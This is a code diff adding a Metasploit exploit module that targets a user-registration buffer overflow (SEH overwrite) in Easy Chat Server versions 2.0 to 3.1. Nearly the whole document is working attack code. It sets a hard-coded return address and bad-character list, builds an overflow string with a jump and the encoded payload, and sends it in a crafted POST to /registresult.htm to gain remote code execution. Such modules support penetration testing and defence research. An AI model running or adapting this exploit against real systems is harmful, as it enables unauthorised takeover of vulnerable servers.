Easy Chat Server From 2.0 to 3.1 - Buffer Overflow (SEH) exploit

modules/exploits/windows/http/easychatserver_seh.rb

@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+  #include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
+      'Description'    => %q{
+        This module exploits a buffer overflow during user registration in Easy Chat Server software.
+      },
+      'Author'         =>
+        [
+          'Aitezaz Mohsin', #POC
+          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB', '42186' ],
+        ],
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
+        ],
+      'DefaultOptions' => {
+          'RPORT' => 80,
+          'EXITFUNC' => 'thread',
+          'ENCODER' => 'x86/alpha_mixed'
+        },
+      'DisclosureDate' => 'Oct 09 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def exploit
+    sploit = rand_text_alpha_upper(217)
+    sploit << "\xeb\x06\x90\x90"
+    sploit << [target.ret].pack('V')
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(200)
+    sploit << [target.ret].pack('V')
+
+    request = "POST /registresult.htm HTTP/1.1\r\n\r\nUserName=#{sploit}&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
+    connect
+    sock.put(request)
+    handler
+    disconnect
+  end
+end